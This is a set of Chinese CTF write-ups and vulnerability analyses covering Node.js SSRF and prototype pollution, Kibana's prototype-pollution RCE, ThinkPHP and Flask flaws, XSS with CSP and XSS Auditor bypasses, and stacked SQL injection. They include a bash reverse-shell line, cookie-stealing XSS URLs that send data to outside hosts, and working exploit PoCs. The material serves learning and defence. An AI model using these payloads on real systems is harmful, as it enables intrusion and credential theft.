I-SOON2019-Membershop出题思路

写在前面

今年是第二年出题,鉴于去年题目过于简单(去年我是真的sb且敷衍),今年题目我憋了蛮长时间的(狗日的前端),本希望做到这题的师傅们能有所收获。但是比赛跟各位师傅的时间还是冲突了,加之校赛的局限,实际也没多少人在打。比赛当天下午,Membershop容器的峰值也就5、6个的样子。其实题目并不是很难。

虽然最后没能达到自己预期的做题效果,算是有点点失望吧。但是我相信D0g3一定能把比赛办出去,感谢运维小哥@0akarma跟我一起调试动态容器的bug,关于全部的题目环境在:http://dao.ge/isoon2019

环境搭建

题目开源地址:https://github.com/Hpd0ger/My_ctf_challenge/

修改index.js的server_ip为环境的ip

docker-compose build
docker-compose up -d

解题步骤

登陆的时候过滤了admin,同时发现小写字符转换成了大写字母显示。结合set-cookie是koa的框架,很容易联想到后端使用toUpperCase()做转换,拉丁文越权登陆admın

image_1dr12lu22vs4iq44id1vuas21m.png-38.1kB

登陆成功之后多了一个请求记录的功能,同时登陆成功后给出源码的地址

image_1dr12phlo1hc31vqi17fvahuhgr16.png-48.1kB

拿到源码后简单看登陆逻辑
image_1dmbk6vlo19d413cc13h8b108q913.png-57.7kB

逻辑根据传入的用户名userName会在登陆前经过一次检测
image_1dmbk45jltj28kro9c1kjdkshm.png-65.8kB

当传入的用户名包含admin时,则自动循环replace掉。在登陆成功的同时会把username写进session里,这里可以看到只有我们登陆了admin才有权限加载其他模版
image_1dmbkcg89ijlmd61vef209bti1g.png-160.3kB

漏洞点在代码76-117行,它只允许请求以http://127.0.0.1:3000/query(后面拉到本地环境会改127.0.0.1这个地址,这是我本地debug)开头的url。输入其他开头的url会被error url,而且不存在任何host的绕过。当请求之后会被记录在sandbox的results.txt里面并且支持追加,sandbox根据ip建立
image_1dmbkrtpt1pkv1q561o9kf2p10hj2n.png-28.9kB
image_1dmbku3fk399n211cvq49r1emt34.png-33.7kB

因为query也是一个路由,那么这里就存在一个ssrf。如何bypass去请求其他路由呢?只需要用unicode编码并且分割http包,例如

http://127.0.0.1:3000/query?param=1\u{0120}HTTP/1.1\u{010D}\u{010A}Host:\u{0120}127.0.0.1:3000\u{010D}\u{010A}Connection:\u{0120}keep-alive\u{010D}\u{010A}\u{010D}\u{010A}GET\u{0120}/\u{0173}\u{0161}\u{0176}\u{0165}

url编码是16进制,\u{01xx}在http.get的时候不会进行percent encode,但是在buffer写入的时候会把xx解码。其中\u{0173}\u{0161}\u{0176}\u{0165}代表的是save,73617665是save的16进制表示。具体原理可以看:通过拆分请求来实现的SSRF攻击

接着就寻找一下其他路由存在的问题,可利用点在/save

home.get('/save',async(ctx)=>{
    let ip = ctx.request.ip;
    let reqbody = {switch:false}
    reqbody = qs.parse(ctx.querystring,{allowPrototypes: false});

    if (ip.substr(0, 7) == "::ffff:") {
        ip = ip.substr(7);
    }
    if (ip !== '127.0.0.1' && ip !== server_ip) {
        ctx.status = 403;
        ctx.response.body = '403: You are not the local user';
    }else {
        if(reqbody.switch === true && reqbody.sandbox && reqbody.opath &&fs.existsSync(reqbody.spath)){
            if(fs.existsSync(reqbody.sandbox)){
                paths.opath = fs.readdirSync(reqbody.sandbox)[0];
            }else if(fs.existsSync(reqbody.opath)){
                let buffer;
                tmp[reqbody.sandbox]['opath'] = reqbody.opath;
                if(/[flag]/.test(tmp[reqbody.sandbox]['opath'])){
                    buffer = tmp[reqbody.sandbox]['opath'].replace(/f|l|a|g/g,'');
                }else{
                    buffer = reqbody.opath;
                }
            }
            let opath = paths.opath? paths.opath : buffer;
            let text = fs.readFileSync(opath, 'utf8');
            await WriteResults(reqbody.spath,text);

        }else{
            return false;
        }
    }
})

这里大致有两个障碍点:

1、限制了本地127.0.0.1访问
->ssrf解决

2、通过qs包解析url参数存为对象,switch默认为flase,配置allowPrototypes=false,直接传递http参数不能覆盖switch。qs.parse() bypass for prototype pollution@qs<6.3,参考链接:Prototype Override Protection Bypass,传参:]=switch绕过

3、解析获得的对象需要三个参数sandbox、opath、spath。代码逻辑就是如果存在sandbox那么就取sandbox下的第一个文件(即results.txt)读取后写入spath,否则读取自定义的opath,将结果写入spath(两者前提都是spath必须存在且可写,只有sandbox/result.txt满足要求)。但是自定义opath会替换所有的[flag]字段,不允许直接读flag。

这里存在判断的绕过。原型链污染sandbox下的一个文件为/flag,再去自定义读到spath里

tmp['__proto__']['opath'] = '/flag';
=>
paths.opath = /flag

构造一下就能把flag追加写入到sandbox/results.txt。poc如下,调整一下opath为flag地址,sandbox为自己的md5(ip)就行了:

encodeURI("http://127.0.0.1:3000/query?param=1\u{0120}HTTP/1.1\u{010D}\u{010A}Host:\u{0120}127.0.0.1:3000\u{010D}\u{010A}Connection:\u{0120}keep-alive\u{010D}\u{010A}\u{010D}\u{010A}GET\u{0120}/\u{0173}\u{0161}\u{0176}\u{0165}?]=switch&sandbox=__proto__&opath=/flag&spath=tmp/ab54a5cf83f67d827ecba68e394f9196")

从Kibana-RCE对nodejs子进程创建的思考

从Kibana-RCE对nodejs子进程创建的思考

在前几天Kibana有一则关于原型链污染+子进程调用=>rce的漏洞,跟进分析的时候发现child_process实现子进程创建确实存在trick。于是有了下文是对child_process的实现和Kibana RCE的一点思考。

child_process建立子进程的实现

对于child_process大家应该都不陌生,它是nodejs内置模块,用于新建子进程,在CTF题目中也常使用require('child_process').exec('xxx')来RCE。

child_process内置了6个方法:execFileSync、execSync、fork、exec、execFile、spawn()

其中execFileSync()调用spawnSync(),execSync()调用spawnSync(),而spawnSync()调用spawn();exec()调用execFile(),而execFile()调用spawn();fork()调用spawn()。也就是说前6个方法最终都是调用spawn(),而spawn()的本质是创建ChildProcess的实例并返回。那我们直接对spawn这个方法进行分析

测试代码:

const { spawn } = require('child_process');

spawn('whoami').stdout.on('data', (data) => {
    console.log(`stdout: ${data}`);
  });

Node使用模块child_process建立子进程时,调用用户层面的spawn方法。初始化子进程的参数,进入方法normalizeSpawnArguments

var spawn = exports.spawn = function(/*file, args, options*/) {
  var opts = normalizeSpawnArguments.apply(null, arguments);
};

跟进方法normalizeSpawnArguments,当options不存在时将options命为空对象。接着到下面最关键的一步,即获取env变量的方式。首先对options.env是否存在做了判断,如果options.env为undefined则将环境变量process.env的值复制给env。而后对envParivs这个数组进行push操作,其实就是env变量对应的键值对。

function normalizeSpawnArguments(file, args, options) {
    ...//省略
  if (options === undefined)
    options = {};

    ...//省略
  var env = options.env || process.env;
  var envPairs = [];

  for (var key in env) {
    envPairs.push(key + '=' + env[key]);
  }

  _convertCustomFds(options);

  return {
    file: file,
    args: args,
    options: options,
    envPairs: envPairs
  };
}

image_1dpddlch71nmr1v2g1jgs1guv18nj2a.png-386.4kB

这里就存在一个问题,options默认为空对象,那么它的任何属性都存在被污染的可能。所以只要能污染到Object.prototype,那么options就可以添加我们想要的任何属性,包括options.env。经过normalizeSpawnArguments封装并返回后,建立新的子进程new ChildProcess(),这里才算进入内部child_process的实现。

var opts = normalizeSpawnArguments.apply(null, arguments);
var options = opts.options;
var child = new ChildProcess();

child.spawn({
file: opts.file,
args: opts.args,
cwd: options.cwd,
windowsVerbatimArguments: !!options.windowsVerbatimArguments,
detached: !!options.detached,
envPairs: opts.envPairs,
stdio: options.stdio,
uid: options.uid,
gid: options.gid
});

我们直接看ChildProcess.spawn如何实现,也就是原生的spawn。核心代码逻辑是下面的两句,具体代码在process_wrap.cc

ChildProcess.prototype.spawn = function(options) {
  //...
  var err = this._handle.spawn(options);
  //...
  // Add .send() method and start listening for IPC data
  if (ipc !== undefined) setupChannel(this, ipc);
  return err;
};

this._handle.spawn调用了process_wrap.cc的spawn来生成子进程,是node子进程创建的底层实现,那我们看一下process_wrap.cc中对options的值进行了怎样的操作,。

  static void Spawn(const FunctionCallbackInfo<Value>& args) {
    //获取js传过来的第一个option参数
    Local<Object> js_options = args[0]->ToObject(env->context()).ToLocalChecked();

    ...
    // options.env
    Local<Value> env_v =
        js_options->Get(context, env->env_pairs_string()).ToLocalChecked();
    if (!env_v.IsEmpty() && env_v->IsArray()) {
      Local<Array> env_opt = Local<Array>::Cast(env_v);
      int envc = env_opt->Length();
      CHECK_GT(envc + 1, 0);  // Check for overflow.
      options.env = new char*[envc + 1];  // Heap allocated to detect errors.
      for (int i = 0; i < envc; i++) {
        node::Utf8Value pair(env->isolate(),
                             env_opt->Get(context, i).ToLocalChecked());
        options.env[i] = strdup(*pair);
        CHECK_NOT_NULL(options.env[i]);
      }
      options.env[envc] = nullptr;
    }
    ...

    //调用uv_spawn生成子进程,并将父进程的event_loop传递过去
    int err = uv_spawn(env->event_loop(), &wrap->process_, &options);
    //省略
  }

代码只截取了对env这个属性的操作,它将原先的envPairs进行封装。最后所有options带入uv_spawn来生成子进程,在uv_spawn中就是常规的fork()、waitpid()来控制进程的产生和资源释放,不过有一个非常重要的实现如下:

//process.cc->uv_spawn()

execvp(options->file, options->args);

execvp来执行任务,这里的options->file就是我们最初传给spawn的参数。比如我们的例子是spawn('whoami'),那么此时的file就是whoami,当然对于有参数的命令,则options->args与之对应。

总结流程

child_process创建子进程的流程看起来有些复杂,总结一下:

1、初始化子进程需要的参数,设置环境变量
2、fork()创建子进程,并用execvp执行系统命令。
3、ipc通信,输出捕捉

Kibana-RCE

漏洞分析

首先引用漏洞原作者的举例
image_1dpfrsth1180fc11uprr5j1r0713.png-74.8kB

node的官方文档中也能找到相同的用例:https://nodejs.org/api/cli.html#cli_node_options_options,node版本>v8.0.0以后支持运行node时增加一个命令行参数NODE_OPTIONS,它能够包含一个js脚本,相当于include。
image_1dpfrn6951t43bqt2prj21l9im.png-142.2kB

在node进程启动的时候作为环境变量加载,通过打印process.env也能证明

hpdoger@ChocoMacBook-Pro$ NODE_OPTIONS='--require ./evil.js' node
success!!!

> process.env.NODE_OPTIONS
'--require ./evil.js'

如果我们能改变本地环境变量,则在node创建进程的时候就可以包含恶意语句。尝试用export来实现如下。
image_1dpfsa9vei1kk2g1f5a1qchv531g.png-27.1kB

事实证明,只要产生新进程就会加载一次本地环境变量,存储形式为process.env,若env中存在NODE_OPTIONS则进行相应的加载。但是这种需要bash漏洞就是耍流氓,于是作者想到了一种方法来污染process.env,也就是上文分析的env的获取,于是有了Kibana的poc

.es(*).props(label.__proto__.env.AAAA='require("child_process").exec("bash -i >& /dev/tcp/192.168.0.136/12345 0>&1");process.exit()//')
.props(label.__proto__.env.NODE_OPTIONS='--require /proc/self/environ')

node运行时会把当前进程的env写进系统的环境变量,子进程也一样,在linux中存储为/proc/self/environ。通过污染env把恶意的语句写进/proc/self/environ。同时污染process.NODE_OPTIONS属性,使node在生成新进程的时候,包含我们构造的/proc/self/environ。具体操作就类似下面的用法
image_1dpftrvc7qk59jmbjg17lk1f4b2d.png-23.8kB

污染了Object.env之后,利用Canvas生成新进程的时候会执行spawn从而RCE

利用条件

最开始我并没有跟进Kibana的源码,只是把漏洞归结于:

污染Object.env+创建子进程 => RCE

于是我做了下面的测试,发现并没有像我想象中的输出evil.js中的内容,但是NODE_OPTIONS确实被写进了子进程的env。
image_1dpfugpbejdu1cos1cra12pv11mr4p.png-102.2kB

当我将进程建立换为proc.fork()时,则成功加载了evil.js并输出
image_1dpfuioo51pov0m17et1as61ibf56.png-126.9kB

child_process.fork() 方法是 child_process.spawn() 的一个特例,专门用于衍生新的 Node.js 进程。 与 child_process.spawn() 一样返回 ChildProcess 对象。所以fork调用的是spawn来实现的子进程创建,那怎么会有这种情况?跟进一下fork看看实现有什么不同

exports.fork = function(modulePath /*, args, options*/) {
    ...//省略
    options.execPath = options.execPath || process.execPath;
    return spawn(options.execPath, args, options);
}

它处理了execPath这个属性,默认获取系统变量的process.execPath,再传入spawn,这里就是node
image_1dpfv09ba1lqiq4eglf17fmdgc63.png-62.4kB

而我们用spawn时,处理得到的file为whoami
image_1dpfvg05d1kth1o5n6adan9b8k6g.png-202.9kB

上文分析child_process在子进程创建的最底层,会调用execvp执行命令执行file

execvp(options->file, options->args);

而上面poc核心就是NODE_OPTIONS='--require /proc/self/environ' node,即bash调用了node去执行。所以此处的file值必须为node,否则无法将NODE_OPTIONS载入。而直接调用spawn函数时必须有file值,这也造成了第一种代码无法加载evil.js的情况
image_1dpg0ajvt1b051icfapj1eaupi67a.png-58.5kB

经过测试exec、execFile函数无论传入什么命令,file的值都会为/bin/sh,因为参数shell默认为true。即使不传入options选项,这两个命令也会默认定义options,这也是child_process防止命令执行的一种途径。
image_1dpg1kbn81deo1e4aeai11jebbn9.png-26kB

但是shell这个变量也是可以被污染的,不过child_process在这里做了限制,即使shell===false或字符串。最终传到execvp时也会被执行的参数替代,而不是真正的node进程。

这样看来在污染了原型的条件下,child_process只有进行了fork()的时候,才能达到漏洞的利用。不过这样的利用面确实太窄了,如果有师傅研究过其他函数的执行spawn时能启动node进程,可以交流一下思路

所以回到fork()函数,我们可以验证包含/proc/self/environ是可行的

// test.js
proc = require('child_process');
var aa = {}
aa.__proto__.env = {'AAAA':'console.log(123)//','NODE_OPTIONS':'--require /proc/self/environ'}
proc.fork('./function.js');

//function.js
console.log('this is func')

image_1dpindplj1ocv1q5o1ksf11v510o89.png-23.3kB

同时可以看到,fork在指定了modulepath的情况下,包含environ的同时并不影响modulepath中代码的执行。

相关链接

Exploiting prototype pollution – RCE in Kibana (CVE-2019-7609)
spawn、exec、execFile和fork
Kibana漏洞之javascript原型链污染

字节跳动CTF线下赛Web题解&复盘

字节跳动CTF线下赛Web题解&复盘

PythonWeb

做题小谈

之前线下赛没运维过pythonweb,踩了很多坑,小记一下。

flask在更改代码后要重启才能生效,但是如果app.DEBUG=True则不需要重启flask,这个配置多见于config.py,比赛的时候也可以全局搜索。

目录结构如下
image_1dnm2lc67dmv18gg4fn1d95fq5m.png-112.2kB

在pyweb的awd中,一定要先ps -ef看一下系统的进程,看看原始的服务是怎么启动的,我们就可以照着它的命令去重启flask,而不至于把服务启崩。这次我就是没有看进程,自己相当然的用命令flask run,结果被down了好几轮。

最后看了下手册,这里pyweb使用gunicorn来启动的:

gunicorn -b 0.0.0.0:5000  manage:app

漏洞审计

任意文件读取

@main.route('/file')
def file():
    file = request.args.get('file',base64.b64encode('/tmp/Blog_mini/app/static/images/background.jpg'))
    f = open(base64.b64decode(file),'rb')
    res = f.read()
    return jsonify({"res":res})

request.args.get()获取file参数,如果参数不存在则为base64.b64encode('/tmp/Blog_mini/app/static/images/background.jpg)

命令执行

后台有一点路由/backup,可以调用popen(),那就可以先注册用户,再去rce。同时这个点应该也可以读取任意文件

@main.route('/backup',methods = ['GET'])
@login_required
def backup():
    if request.args.get('name'):
        shell = 'tar -zcf ./'+ request.args.get('name') +'.tar.gz ./'
        res = os.popen(shell).read()
        ress = {"res":res}
        return jsonify(ress)
    else:
        return "param is name! please backup!"

image_1dnm8r3b65901pom16tg12t1c031g.png-34.8kB

模版注入

这个点我没挖到,但是后来听别的师傅说存在404的ssti

@main.app_errorhandler(404)
def page_not_found(e):
    for x in request.path:
        if x in '._%':
            return render_template('404.html'), 404
    template = '''
{%% block body %%}
    <div class="center-content error">
        <h1>Oops! That page doesn't exist in this Blog.</h1>
        <h3>%s</h3>
    </div>
{%% endblock %%}
''' % (request.url)
    return render_template_string(template), 404

过滤了._%,下面的ssti是经典的漏洞案例。利用|过滤器和动态传参就可以bypass了,跟今年护网杯的题目思路差不多,这里盗用一下@Smile师傅的payload

image_1dnp66nft9tm243119nifpt49.png-91.2kB

流量记录

这次还是吃了没流量的亏,测试了一下别人的py流量脚本,这里贴出来

@main.before_request
def awdlog():
    import time
    f = open('/tmp/pylog.txt','a+')
    f.writelines(time.strftime('%Y-%m-%d %H:%M:%S\n', time.localtime(time.time())))
    f.writelines("{method} {url} \n".format(method=request.method,url=request.url))
    s = ''
    for d,v in dict(request.headers).items():
        s += "%s: %s\n"%(d,v)
    f.writelines(s+'\n')
    s = ''
    for d,v in dict(request.form).items():
        s += "%s=%s&"%(d,v)
    f.writelines(s.strip("&"))
    f.writelines('\n\n')
    f.close()

main指的是应用名,每次根据实际情况更改,最终在/tmp下生成日志
image_1dnn61c77p61mvu1v011ini1qtt7e.png-533.4kB

Opensns

基于TP3.2.2开发,比赛复现出两个漏洞。其中一个是内置后门就不说了,还有一个是渲染模版时的任意文件读取漏洞

漏洞复现

任意文件读取

keywords[_filename]=/flag

漏洞点在ThinkPHP/Library/Think/Storage/Driver/File.class.php的File类驱动中,同时File类继承自Storage类:class File extends Storage

image_1dnmqjgof1rfhksv1ae71engq2320.png-396.7kB

在判断了$vars是否存在后,进行了一次变量覆盖,再调用load方法进行了文件包含。追踪一下哪里调用了load方法,发现都是在解析模版的时候调用的,这里选择文件ThinkPHP/ThinkPHP/Library/Think/Template.class.php的fetch()方法

image_1dnmrrf2k138168g9gm12sfoip2t.png-245.5kB

发现可控参数$templateVar,会被当作实参传入load(),继续寻找调用fetch()方法的位置。因为TP代码中有很多实例化的方法,并不都像storage::这样的调用方式,只能全局搜索fetch看哪里调用。最终发现在ThinkPHP/Library/Behavior/ParseTemplateBehavior.class.php中实例化了Template类并且调用fetch()方法。

image_1dnms90lf1fbckc91cnr18281g1c3a.png-505.2kB

刚才说到可控参数$templateVar的原型在这里为$_data,那么$_data是否可控?继续追调用链,在这里追的时候就卡壳了,因为涉及到tp的一个知识:Thinkphp下利用钩子使用行为扩展

简单来说就在xx文件中,先宏定义了监听器对应的类名再加载进程序(这里的类指的是类似于ParseTemplateBehavior.class.php这种的行为拓展类)
image_1dnmt4sfa1c6ja0pgb4v00mft4q.png-50.2kB

而后,程序中的Hook机制通过触发不同类型的监听器,实现对应行为拓展类的实例化且会调用对应行为拓展类的run方法。一个简单的触发机制就是Hook::Listen(tags,prarm)

那么在这里我们希望它触发view_parse,从而实例化ParseTemplateBehavior。就全局搜索Hook::listen('view_parse'。在TP的视图类里找到了该监听器的hook
image_1dnmtdrpd6t6101m1omechn1n0857.png-507.6kB

接下来就好说了,只要$parama可控,并且找到一处能够调用fetch函数的地方,整条利用链就完整了。

其中$param的取值经过一系列的操作

public function assign($name, $value = '')
{
    if (is_array($name)) {
        $this->tVar = array_merge($this->tVar, $name);
    } else {
        $this->tVar[$name] = $value;
    }
}

$params = array('var' => $this->tVar, 'file' => $templateFile, 'content' => $content, 'prefix' => $prefix);

file、content、prefix为定值,只有$this->tvar可操作且被assign函数赋值。这里存在以前tp3的模版rce漏洞的挖掘链,通过assign这个模版赋值函数,赋值变量$this->tvar

同时这里还涉及Tp的一个小操作:在tp3.2中,对模版的加载&渲染依靠ThinkPHP/ThinkPHP/Library/Think/View.class.php。先通过View类方法assgin()对模版赋值,再调用display()加载模板和页面输出。在display函数的内部同时实现了fetch()函数解析并获取模板内容,也解决了上面调用fetch函数的困扰。

所以只需要找一个Controller,接受post/get传入参数,并且能够传入assign()去模版赋值,之后再经过tp的display()函数渲染模版,这里出题人在控制器里造了一个方法search,接受keywords参数

public function search()
{
    $keywords=I('post.keywords','','text');

    $modules = D('Common/Module')->getAll();
    foreach ($modules as $m) {
        if ($m['is_setup'] == 1 && $m['entry'] != '') {
            if (file_exists(APP_PATH . $m['name'] . '/Widget/SearchWidget.class.php')) {
                $mod[] = $m['name'];
            }
        }
    }
    $show_search = get_kanban_config('SEARCH', 'enable', $mod, 'Home');

    $this->assign($keywords);
    $this->assign('showBlocks', $show_search);
    $this->display();
}

构造如下poc本地包含文件,由于开启了ob_start()。
image_1dnn1fspe10st1i4rbe6nt1p6g5k.png-208.2kB

总结来说,该点漏洞就是加载模版的时候,把本地文件作为模版变量赋值,再渲染到页面。这个在平常的代码审计中也是一个不错的思路,膜出题人。

douchat

同样使用TP3.2.2开发的

漏洞浮现

代码注入

跟opensns类似的漏洞,也是模版的渲染,只不过这次存在content参数,即生成的缓存有效时,加载缓存造成代码注入。由于开启了ob_start(),因此在include的时候代码注入
image_1dnn52qdims3v3217dm1s6ph8f6h.png-535.2kB

文件上传

漏洞文件:/Public/Plugins/webuploader/server/preview.php

$src = file_get_contents('php://input');
if (preg_match("#^data:image/(\w+);base64,(.*)$#", $src, $matches)) {

    $previewUrl = sprintf(
        "%s://%s%s",
        isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] != 'off' ? 'https' : 'http',
        $_SERVER['HTTP_HOST'],
        $_SERVER['REQUEST_URI']
    );
    $previewUrl = str_replace("preview.php", "", $previewUrl);


    $base64 = $matches[2];
    $type = $matches[1];
    if ($type === 'jpeg') {
        $type = 'jpg';
    }

    $filename = md5($base64).".$type";
    $filePath = $DIR.DIRECTORY_SEPARATOR.$filename;

    if (file_exists($filePath)) {
        die('{"jsonrpc" : "2.0", "result" : "'.$previewUrl.'preview/'.$filename.'", "id" : "id"}');
    } else {
        $data = base64_decode($base64);
        file_put_contents($filePath, $data);
        die('{"jsonrpc" : "2.0", "result" : "'.$previewUrl.'preview/'.$filename.'", "id" : "id"}');
    }

} else {
    die('{"jsonrpc" : "2.0", "error" : {"code": 100, "message": "un recoginized source"}}');
}

$src可控,通过伪协议控制生成的文件名,然后写入到preview/下并回显出来

RealWorld CTF2019 两道XSS-Web题解

RealWorld CTF2019 两道XSS-Web题解

原文首发于安全客:https://www.anquanke.com/post/id/186707

Mission Invisible

题目上来把代码全部给出来了,一段js并且告诉我们有两个隐藏的点

<script>
    var getUrlParam = function (name) {
        var reg = new RegExp("(^|&)" + name + "=([^&]*)(&|$)");
        var r = unescape(window.location.search.substr(1)).match(reg);
        if (r != null) return r[2];
        return null;
    }

    function setCookie(name, value) {
        var Days = 30;
        var exp = new Date();
        exp.setTime(exp.getTime() + Days * 24 * 60 * 60 * 30);
        document.cookie = name + "=" + value + ";expires=" + exp.toGMTString();
    }

    function getCookie(name) {
        var search = name + "="
        var offset = document.cookie.indexOf(search)
        if (offset != -1) {
            offset += search.length;
            var end = document.cookie.indexOf(";", offset);
            if (end == -1) {
                end = document.cookie.length;
            }
            return unescape(document.cookie.substring(offset, end));
        }
        else return "";
    }

    function setElement(tag) {
        tag = tag.substring(0, 1);
        var ele = document.createElement(tag)
        var attrs = getCookie("attrs").split("&");
        for (var i = 0; i < attrs.length; i++) {
            var key = attrs[i].split("=")[0];
            var value = attrs[i].split("=")[1];
            ele.setAttribute(key, value);
        }
        document.body.appendChild(ele);
    }

    var tag = getUrlParam("tag");
    setCookie("tag", tag);
    setElement(tag);

</script>

重点在这个setElement函数,通过tag.substring(0, 1)创建一个dom事件,然后从cookie种取出attrs属性进行标签属性的赋值。接下来追一下cookie是怎么入库的

var tag = getUrlParam("tag");
setCookie("tag", tag);

追到函数不难发现是tag传参进去的,并且在getcookie函数中只截取了”attrs=”的后面的值,那么我们就可以在value里插入attrs的值。

image_1dksu3lma1sdcaodk0j19g11tn213.png-115.9kB

所以现在的难点就在于怎么构造一个标签,在浏览器解析的时候自动触发XSS。由于tag = tag.substring(0, 1);这段代码,使得我们现在能用的标签只有a、p。

最初我的想法是污染原型链,在循环遍历attrs的时候:

第一次key = __proto__.ele  & value = document.createElement(“script”)

第二次 key = src  & value = evil.com

但是尝试了一下发现这样并不能够成功污染,因为我们已经定义了ele这个变量。那只能从a、p标签下手,这里@LFY师傅想到一个很好的方法

image_1dksuhiqvuci17tssl8o111eh720.png-97.5kB

<p onfocus="alert(document.cookie)" id="1" tabindex="0"></p>

我们可以通过tableindex使标签可聚焦,只需要在url后面跟一个锚点指向标签id,类似于#1,这样聚焦时触发onfocus,效果就等效于自动触发xss。

http://52.52.236.217:16401/?tag=a%3d1attrs%3donmouserover%3d1%2526onfocus%3dalert(1)%2526id%3d1%2526tabindex%3d0#1

image_1dksundi8iu3lrfhnnpkunra2d.png-249.6kB

接着就是常规打cookie到本地

http://52.52.236.217:16401/?tag=a=attrs=onmouseover=1%2526onfocus=eval(String.fromCharCode(119,105,110,100,111,119,46,108,111,99,97,116,105,111,110,61,39,104,116,116,112,58,47,47,49,51,57,46,49,57,57,46,50,48,51,46,50,53,51,58,49,50,51,52,47,39,43,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101))%2526id=1%2526tabindex=0#1

Hcorme

题目说明

首先题目有一个callback的接口,能够把请求参数输出,并且是text/html形式。这点其实在日常的web应用种并不多见,大多数callback的mime都是javascript

image_1dkseq56a1q3f111911ftas01les9.png-111.3kB

于此同时题目有两个难点需要bypass:

  • XSS Auditor的限制
    image_1dksf8oneelujp2n651k3a1qbu13.png-183.7kB
  • CSP的限制
    Content-Security-Policy: default-src 'self'; object-src 'none'; base-uri 'none';

解题思路

先着眼xss auditor这个点,在Chrome78以后XSS-Auditor被Chrome自家砍掉了,虽然auditor曾是不少xsser在面对反射性XSS时候的难题,但随着bypass的方法也日益增多,auditor的弊远远大于利:因为auditor在触发的时候会删除恶意输入,之前我博客中有一篇文章前端全局变量劫持,就能够利用Auditor达到变量劫持的目的。

于此同时Bypass auditor也算是出题人给我们的Hint。

当时我的思路是用字符集去bypass,也就是下面这种思路
image_1dksffho3ttit161ctftckbo61g.png-62.5kB

因为auditor的核心思路就是拿浏览器的渲染和我们的输入做比较,不相符则不会被Check。不过chrome77已经不存在iso-2022-jp这种绕过的方法。接下来我们看一下Hardold师傅的思路–>utf-16编码绕过

这里串一个编码的知识点,通常我们看到%xx%xx这类的url编码,其实是用16进制表示的,比如utf-8编码形式如下

>>> from urllib.parse import quote,unquote
>>> print(quote(('猪').encode('utf-8')))
>>> %E7%8C%AA

那么”猪”这个字在utf-8编码下就是0xe7 0x8c 0xaa,下面我们来看一下utf-16编码下的”猪”怎么表示

>>> from urllib.parse import quote,unquote
>>> print(quote(('猪').encode('utf-16')))
>>> %FF%FE%2As

这时会发现,用utf-16无论编码什么字符,前两个字节都是``0xff0xfe`
image_1dksl9ssig0pv2l1f171qr31c5q1t.png-98.4kB

因为在UTF-16文件的开首,都会放置一个U+FEFF字符作为Byte Order Mark(UTF-16LE以FF FE代表,UTF-16BE以FE FF代表),以显示这个文本文件是以UTF-16编码,它是个没有宽度也没有断字的空白。

此时我们来尝试一下能否Bypass XSS Auditor

>>> print(quote(('<script>alert(1)</script>').encode('utf-16')))

%FF%FE%3C%00s%00c%00r%00i%00p%00t%00%3E%00a%00l%00e%00r%00t%00%28%001%00%29%00%3C%00/%00s%00c%00r%00i%00p%00t%00%3E%00

image_1dksm95e81qka1ts9meii2m1cd92q.png-227.5kB

成功插入标签,接下来到了第二步,Bypass CSP。因为锁了default-src又没有给unsafe-inline,但是题目有一个jsonp的点,不难想到今年的那道ins’hack 2019/的bypasses-everywhere

这篇文章的大意相当于利用jsonp直接把js代码”挂载”到本地的script标签里面,从而导致的bypass。那么我们编写一个demo看看

>>> print(quote(('<script/src=?callback=alert(1)></script>').encode('utf-16')))

%FF%FE%3C%00s%00c%00r%00i%00p%00t%00/%00s%00r%00c%00%3D%00%3F%00c%00a%00l%00l%00b%00a%00c%00k%00%3D%00a%00l%00e%00r%00t%00%28%001%00%29%00%3E%00%3C%00/%00s%00c%00r%00i%00p%00t%00%3E%00

可以看到进行了两次资源请求,第二次的资源的执行类型是script
image_1dkssc09a13h01mnh8561rft1g0u9.png-154.8kB

接着就是把flag打到自己的本地就行了

>>> print(quote(("<script/src=?callback=window.location='http://xxx/?'%2bdocument.cookie%0a//></script>").encode('utf-16')))

%FF%FE%3C%00s%00c%00r%00i%00p%00t%00/%00s%00r%00c%00%3D%00%3F%00c%00a%00l%00l%00b%00a%00c%00k%00%3D%00w%00i%00n%00d%00o%00w%00.%00l%00o%00c%00a%00t%00i%00o%00n%00%3D%00%27%00h%00t%00t%00p%00%3A%00/%00/%00x%00x%00x%00/%00%3F%00%27%00%25%002%00b%00d%00o%00c%00u%00m%00e%00n%00t%00.%00c%00o%00o%00k%00i%00e%00%25%000%00a%00/%00/%00%3E%00%3C%00/%00s%00c%00r%00i%00p%00t%00%3E%00

比赛总结

赛题质量真心高,膜Harlold师傅,日常拿0day打比赛..orz

从一道CTF学习Fastcgi绕过姿势

从一道CTF学习Fastcgi绕过姿势

原文首发于安全客:https://www.anquanke.com/post/id/186186

周末做了一个字节跳动的CTF比赛,其中blog这道题涉及到了disable_functions和open_basedir的限制。在0CTF中出现了类似的考法,给了命令执行点去Bypass Disable_functions&Open_basedir,以前没有做过相关的题,这次记录一下思路和用到的脚本。

关于0CTF的题解,参考飘零师傅:深入浅出LD_PRELOAD & putenv()

前情提要

当然这题不像0ctf上来就给了你命令执行点,要挖掘一下。简单记一下wp,这部分不细讲。首先是给了全部的源码,在replace.php页面有一个重要功能

image_1dkak4ebeg8a1e23145e1sbk1pgi3j.png-429.4kB

题目的PHP环境是5.3.3所以preg_replace函数是存在一个代码执行的,正好参数又是可控,$replace部分将会被当作php代码执行。

只不过需要先从库里执行这样一句话:$sql->query("select isvip from users where id=" . $_SESSION['id'] . ";")取校验是否isvip==1,默认注册的所有用户isvip==0。

通过某种方式改变自己的isvip字段,看了下config.php出题人还上了一个waf,直接注入基本不可能。但是它没有过滤SET这个关键词,而且PDO在php5.3以后是支持多条查询的,这给我们堆叠注入创造了机会。
image_1dkakdh2q164i1hfok7m12koug44g.png-440.4kB

edit.php有一个很典型的二次注入,太长时间没接触一时没看出来。虽然$title在第一次入库时是经过了addslashes,但是在mysql存储的时候并不会加入\,导致edit.php页面引入之前存储的title字段产生成二次注入。
image_1dkakhsvmfcsqck1pkabm5dgj4t.png-405.6kB

直接贴payload,注入语句用16进制代替在@SQL中了,这种绕过思路在强网杯的题目上也有用到。也可以用concat()+16进制单字符绕。

hpdoger';SET @SQL=0x555044415445207573657273205345542069737669703d3120574845524520757365726e616d653d276870646f67657227;PREPARE pord FROM @SQL;EXECUTE pord;# 

0x555044415445207573657273205345542069737669703d3120574845524520757365726e616d653d276870646f67657227
=>
UPDATE users SET isvip=1 WHERE username='hpdoger'

